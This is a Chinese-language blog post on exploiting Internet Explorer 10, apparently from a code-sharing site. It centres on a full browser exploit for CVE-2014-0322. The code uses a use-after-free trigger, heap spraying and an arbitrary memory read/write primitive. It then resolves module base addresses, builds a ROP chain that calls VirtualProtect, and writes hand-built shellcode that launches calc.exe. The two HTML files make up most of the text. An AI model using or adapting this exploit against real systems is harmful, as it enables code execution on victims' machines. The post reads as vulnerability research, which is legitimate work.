首页 > 代码库 > IE exp中的多线程操作

IE exp中的多线程操作

最近在写cve-2014-0321这个漏洞的poc,分析的时候发现这流程简直就是个坑(越写越坑!!),没办法只能照着古河的思路,利用多线程进行操作。虽然知道多线程操作用window.open去创建,但调用了之后发现一直创建的都是个进程,根本就没有线程啊,简直就是个坑啊。后来无数次的尝试之后才发现,之前一直本地进行IE漏洞的调试,这样子使用window.open打开的总是一个进程,这样子也就没办法实现利用或者是占位。之后,用python架了简易的web服务,web的方式来访问,才发现window.open虽然创建了一个新的tab,但并没有创建一个新的进程,而是在原有的进程中创建了一个线程进行操作。如下还是以cve-2014-0322写的exp(cve-2014-0321的等稳定之后再分析),测试环境仍然是win7+IE10,其主要思想是主线程负责漏洞触发,子线程负责漏洞的利用等相关操作。

open.html

<html><head id="headId"><title>main page</title><script>function dword2data(dword) {    var d = Number(dword).toString(16);    while (d.length < 8)        d = 0 + d;    return unescape(%u + d.substr(4, 8) + %u + d.substr(0, 4));}var g_arr = [];var arrLen = 0x50;function fun(){    var a=0;    // to alloc the memory    for(a=0;a<arrLen;++a)    {        g_arr[a]=document.createElement(div)    };    var b = dword2data(0x41414141);    var c = 0x0a0bf120;    while(b.length<0x360)     {        if(b.length==(0x94/2)) b+=dword2data(c+0x20-0xc);        else if(b.length==(0x98/2)) b+=dword2data(c+0x20-0x8);        else if(b.length==(0xac/2)) b+=dword2data(0x0a0b001b-0x10);        else if(b.length==(0x15c/2)) b+=dword2data(0x42424242);        else b += dword2data(0x41414141);        }    var d=b.substring(0,(0x340-2)/2);    try{        this.outerHTML=this.outerHTML    } catch(e){}    CollectGarbage();    //to reuse the freed memory    for(a=0;a<arrLen;++a)    {        g_arr[a].title=d.substring(0,d.length);    }}function puIHa3() {    var a = document.getElementsByTagName("script");    var b = a[0];    b.onpropertychange = fun ;    var c = document.createElement(SELECT);    c = b.appendChild(c);//}window.open(opensrc.html);setTimeout(puIHa3(),400);</script></head></html>

open.html

<html><body><script>var x = new Array();var xx = new Array();function LargBlock() {    for (var k=0;k<0x150;k++)    {        if(k<0x30) xx[k] = new ArrayBuffer();        else if(k<0x40) xx[k] = new ArrayBuffer(0x1ff8);        else xx[k] = new ArrayBuffer();    }}function spray() {    for (var k=0;k<0x800;k++)    {        x[k] = new Array(0x3bf8);        for (var i = 0; i< 0x55;i++)        {            x[k][i] = new Int32Array(xx[20]);        }        for(;i<0x3bf8;i++)        {            x[k][i] = i;        }    }}function findArray(size) {    for (var k=0;k<0x800;k++)    {        for (var i = 0; i< 0x55;i++)        {            if(x[k][i].length != 0)            {                            //alert(x[k][i].length.toString(16));                return [k,i];            }        }    }    return [-1,-1];}function dll_baseaddress(address,index) {    var pp = address & 0xffff0000;    var count=0;    while(1)    {                if(x[index[0]][index[1]][pp/0x4] == 0x00905a4d)         {            return pp;        }        else pp=pp-0x10000;        count++;        if(count==50) return -1;    }}function module_baseaddress(other_baseaddress,index,name) {    var e_lfanew = x[index[0]][index[1]][(other_baseaddress+0x3c)/4];    var image_file_header = other_baseaddress+e_lfanew;    var image_data_directorys = image_file_header+0x78;    var import_table_address = other_baseaddress+x[index[0]][index[1]][image_data_directorys/4+2];    var import_table_size = x[index[0]][index[1]][image_data_directorys/4+3];    for(var k=0;k<import_table_size/0x14;k++)    {        var import_dll_address = import_table_address + k*0x14;        var dll_name_address = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+3];        if(x[index[0]][index[1]][dll_name_address/4]==name[0] &&             x[index[0]][index[1]][dll_name_address/4+1]==name[1])        {            var first_thunk = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+4];            var function1 = x[index[0]][index[1]][first_thunk/4];            return dll_baseaddress(function1,index);        }    }    return -1;}function judge(test,index) {    if(x[index[0]][index[1]][test/4]==x[index[0]][index[1]][test/4+8])    {        return 1;    }    else     {        return -1;    }}LargBlock();spray();//window.open(‘test3.html‘);setTimeout(exp(),600);function exp() {    var  flag = 1;    for (var k=0;k<0x800;k++) {        x[k][15358] = 0x20000000;    }    //while(flag) {        var info = findArray(0x20000000);        //alert(info[0]);        if(info[0]!=-1) {            flag = 0;            x[info[0]][info[1]][0x0a0bf018/4] = 0x20000000;                        var pvftable_int32array = x[info[0]][info[1]][0x0a0bf000/4];                        var jscript9_base_address=dll_baseaddress(pvftable_int32array,info);                        var kernel32_base_address=module_baseaddress(jscript9_base_address,info,[0x4e52454b,0x32334c45]);                        var msvcrt_base_address = module_baseaddress(jscript9_base_address,info,[0x6376736d,0x642e7472]);                        var ntdll_base_address = module_baseaddress(kernel32_base_address,info,[0x6c64746e,0x6c642e6c]);            var xx_2 = x[info[0]][info[1]][0x0a0bf020/4];                        //for test            if(judge(xx_2,info)) {                                //x[info[0]][info[1]][0x0a0bf030/4] = 0;                //x[info[0]][info[1]][0x0a0bf048/4] = 0x100;                //x[info[0]][info[1]+1][0] = 0;                //alert(‘1‘);                var xx_3 = x[info[0]][info[1]][xx_2/4+0xc];                var xx_4 = x[info[0]][info[1]][xx_2/4+0x2c];                                //for(var k=info[1]+1;k<0x55;k++)                //{                //    delete x[info[0]][k];                //}                //CollectGarbage();                //for(var k=info[1]+1;k<0x55;k++)                //{                //    x[info[0]][k] = new Int32Array(xx[1]);                //}                                delete x[info[0]][info[1]+1];                CollectGarbage();                x[info[0]][info[1]+1] = new Int32Array(xx[50]);                delete x[info[0]][info[1]+2];                CollectGarbage();                x[info[0]][info[1]+2] = new Int32Array(xx[55]);                //alert(x[info[0]][info[1]][0x0a0bf04c/4].toString(16));                //for(var k=0;k<0x150/4;k++)                //{                    //x[info[0]][info[1]+1][k] = jscript9_base_address+0x0003845e;                //}                                var addr1 = x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 1];                var addr2 = x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 2];                //alert(addr1.toString(16));                //alert(addr2.toString(16));                                x[info[0]][info[1]+1][0x140/4] = jscript9_base_address+0x0003845e;  //xchg eax,esp#retn                x[info[0]][info[1]+1][0] = kernel32_base_address+0x000020d8; //VirtualProtect                x[info[0]][info[1]+1][1] = x[info[0]][info[1]][(addr2+0x1c)/4];                x[info[0]][info[1]+1][2] = x[info[0]][info[1]][(addr2+0x1c)/4]&0xffff000; //Address                //alert(x[info[0]][info[1]+1][1].toString(16));                x[info[0]][info[1]+1][3] = 0x1000; //size                x[info[0]][info[1]+1][4] = 0x40; //newprotect:page_execute_readwrite                x[info[0]][info[1]+1][5] = 0x0a0bf038; //oldprotect                x[info[0]][info[1]+1][6] = x[info[0]][info[1]][(addr1+0x1c)/4]+0x40;                x[info[0]][info[1]+1][7] = 5; //ret address                //                //xB8xADx23x86x7C                //[info[0]][info[1]][0x0a0bf04c/4]+0x40;                            //calc.exe                x[info[0]][info[1]+1][16] = 0x636c6163;                x[info[0]][info[1]+1][17] = 0x6578652e;                                var HeapDataAddress = x[info[0]][info[1]][(addr1+0x1c)/4];                var HeapEntry1 = x[info[0]][info[1]][HeapDataAddress/4-2];                var HeapEntry2 = x[info[0]][info[1]][HeapDataAddress/4-1];                                x[info[0]][info[1]+1][32] = HeapEntry1;                x[info[0]][info[1]+1][33] = HeapEntry2;                                //shellcode                //B8 78563412                    mov eax,0x12345678                //FFD0                           call eax                //8BE5                           mov esp,ebp                //83EC 78                        sub esp,0x78                //B8 78563412                    mov eax,0x12345678                //BB 30F00B0A                    mov ebx,0xA0BF030                //B9 30F00B0A                    mov ecx,0xA0BF030                //C705 30F00B0A 78563412         mov dword ptr ds:[0xA0BF030],0x12345678                //C705 18F00B0A 00000000         mov dword ptr ds:[0xA0BF018],0x0                //C705 78563412 78563412         mov dword ptr ds:[0x12345678],0x12345678                //C705 78563412 78563412         mov dword ptr ds:[0x12345678],0x12345678                //FFE0                           jmp eax                x[info[0]][info[1]+2][0] = ((kernel32_base_address+0x8edae)<<8) + 0xB8;                x[info[0]][info[1]+2][1] = (kernel32_base_address>>24)+0x8bD0ff00;                x[info[0]][info[1]+2][2] = 0x78EC83e5;                x[info[0]][info[1]+2][3] = 0xb8 + (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] << 8);                x[info[0]][info[1]+2][4] = (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] >> 24) + 0xbb00+(addr1<<16);                x[info[0]][info[1]+2][5] = 0x00b90000+(addr1>>16)+(addr1<<24);                x[info[0]][info[1]+2][6] = 0xc7000000+(addr1>>8);                x[info[0]][info[1]+2][7] = 0x00000005+(addr1<<8);                x[info[0]][info[1]+2][8] = (addr1>>24) + (pvftable_int32array << 8);                x[info[0]][info[1]+2][9] = (pvftable_int32array >> 24) + 0x1805c700;                x[info[0]][info[1]+2][10] = 0x0a0bf0;                x[info[0]][info[1]+2][11] = 0xc7000000;                x[info[0]][info[1]+2][12] = 0x05 + ((HeapDataAddress-0x8)<<8);                x[info[0]][info[1]+2][13] = ((HeapDataAddress-0x8)>>24) + (HeapEntry1 << 8);                x[info[0]][info[1]+2][14] = (HeapEntry1>>24) + 0x05c700 + ((HeapDataAddress-0x4)<<24);                x[info[0]][info[1]+2][15] = ((HeapDataAddress-0x4)>>8) + (HeapEntry2 << 24);                x[info[0]][info[1]+2][16] = (HeapEntry2 >> 8) + 0xff000000;                x[info[0]][info[1]+2][17] = 0xe0;                                                            x[info[0]][info[1]][addr1/4] = x[info[0]][info[1]][(addr1+0x1c)/4];                //alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16));                x[info[0]][info[1]+1][0] = 0;                //alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16));                                //delete x[info[0]][info[1]+1];                //delete x[info[0]][info[1]+2];                //CollectGarbage();            }        }    //}}</script></body></html>

利用这种方式进行操作,有一个致命的缺点,就是会弹出一个pop-up blocker信息框,这样需要用户点击才能够运行。测试的时候,可以把pop-up blocker关闭进行测试。对于如何绕过pop-up blocker验证机制,还有待进一步研究。

另外,多线程操作也可以使用iframe或者worker来进行,但在使用的过程中发现有些漏洞在iframe中并不能够触发,这应该和程序的处理流程或者渲染过程有关系,不过多线程的操作只是一种思想,正如Array Heap Spraying一样,不在于方法是怎样的,而在于你如何去利用它。更关键的在于怎样去控制程序的流程,能够走向你所能控制的方向。同时,对于一个漏洞而言,你如何将其与手中的方法相结合也是关键,总之漏洞挖掘、漏洞分析和漏洞利用都是一脉相承的,熟悉一招半式是不能够乘风破浪的,要想手到擒来,还需多加练习啊。

IE exp中的多线程操作